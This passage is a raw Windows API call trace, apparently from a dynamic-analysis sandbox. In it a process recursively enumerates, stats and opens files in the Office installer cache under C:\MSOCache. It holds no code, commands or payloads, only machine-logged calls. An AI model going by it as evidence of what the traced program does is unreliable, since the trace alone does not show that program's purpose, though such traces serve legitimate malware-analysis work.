0x94f258 [0040.473] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d5168 [0040.473] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d70a8 [0040.473] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.473] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x267e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.msi", cAlternateFileName="")) returned 1 [0040.473] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.473] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.473] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.473] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.473] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.473] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d5188 [0040.473] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x708, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.xml", cAlternateFileName="")) returned 1 [0040.473] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x708, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.xml", cAlternateFileName="")) returned 0 [0040.474] GetLastError () returned 0x12 [0040.474] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9040 [0040.474] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0040.474] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfe076d70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0040.474] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x978, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0040.474] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2fb48f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x2fb48f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc967850, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x29c6dbd, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordLR.cab", cAlternateFileName="")) returned 1 [0040.474] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x267e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.msi", cAlternateFileName="")) returned 1 [0040.474] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x708, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.xml", cAlternateFileName="")) returned 1 [0040.474] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x708, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.xml", cAlternateFileName="")) returned 0 [0040.474] GetLastError () returned 0x12 [0040.474] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6a78) returned 1 [0040.474] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0040.474] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6970) returned 1 [0040.474] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0040.474] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf00dbad0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf58c8770, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf58c8770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-002C-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0040.474] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf00dbad0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf58c8770, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf58c8770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0040.518] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x160 [0040.518] SetFileTime (hFile=0x160, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0040.518] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9d9690 [0040.518] DeviceIoControl (in: hDevice=0x160, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9d9690, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x9d9690, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0040.518] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d9690) returned 1 [0040.519] NtClose (Handle=0x160) returned 0x0 [0040.519] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.519] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.519] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0040.519] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0040.519] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.519] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6970 [0040.519] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9040 [0040.596] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf00dbad0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf58c8770, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf58c8770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0040.596] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf01c0310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf07b3a10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf07b3a10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.en", cAlternateFileName="")) returned 1 [0040.596] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf4d53d90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf4f690d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.es", cAlternateFileName="")) returned 1 [0040.596] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2bda830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf30772d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf30772d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.fr", cAlternateFileName="")) returned 1 [0040.596] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x40650500, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x40650500, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf0126df0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd4200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proofing.msi", cAlternateFileName="")) returned 1 [0040.597] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.597] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.597] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.597] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.597] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.597] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6a78 [0040.597] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0040.597] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d51c8 [0040.597] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d73c0 [0040.597] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.597] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x32b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proofing.xml", cAlternateFileName="")) returned 1 [0040.597] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.597] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.597] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.597] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.597] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.597] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d51e8 [0040.597] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d74c8 [0040.597] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.597] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42c75f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x42c75f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0040.597] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.597] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.597] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.597] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.597] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.597] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d5208 [0040.597] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d75d0 [0040.597] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.597] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42c75f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x42c75f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0040.598] GetLastError () returned 0x12 [0040.598] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e8f40 [0040.598] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0040.598] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf00dbad0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf58c8770, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf58c8770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0040.598] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf01c0310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf07b3a10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf07b3a10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.en", cAlternateFileName="")) returned 1 [0040.598] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d76d8 [0040.598] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf01c0310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf07b3a10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf07b3a10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0040.598] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x160 [0040.598] SetFileTime (hFile=0x160, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0040.598] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9d9690 [0040.598] DeviceIoControl (in: hDevice=0x160, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9d9690, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x9d9690, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0040.598] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d9690) returned 1 [0040.598] NtClose (Handle=0x160) returned 0x0 [0040.599] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d76d8) returned 1 [0040.599] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.599] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0040.599] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d76d8 [0040.599] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.599] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d3868 [0040.599] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9040 [0040.599] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf01c0310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf07b3a10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf07b3a10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0040.600] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x219b4a00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x219b4a00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf07b1ad0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xaf35ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.cab", cAlternateFileName="")) returned 1 [0040.600] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.600] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.600] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.600] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.600] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.600] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d3970 [0040.600] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0040.600] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d5228 [0040.600] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d3a78 [0040.600] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.600] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4db6cb00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x4db6cb00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf020c5d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd5c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.msi", cAlternateFileName="")) returned 1 [0040.600] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.600] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.600] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.600] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.600] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.600] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d5248 [0040.600] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d3b80 [0040.600] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.600] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa38b7300, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0xa38b7300, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 1 [0040.601] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.601] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.601] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.601] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.601] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.601] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d5268 [0040.601] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d3c88 [0040.601] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x140) returned 0x9d4970 [0040.601] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d60d0) returned 1 [0040.601] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.601] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa38b7300, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0xa38b7300, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 0 [0040.601] GetLastError () returned 0x12 [0040.601] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, 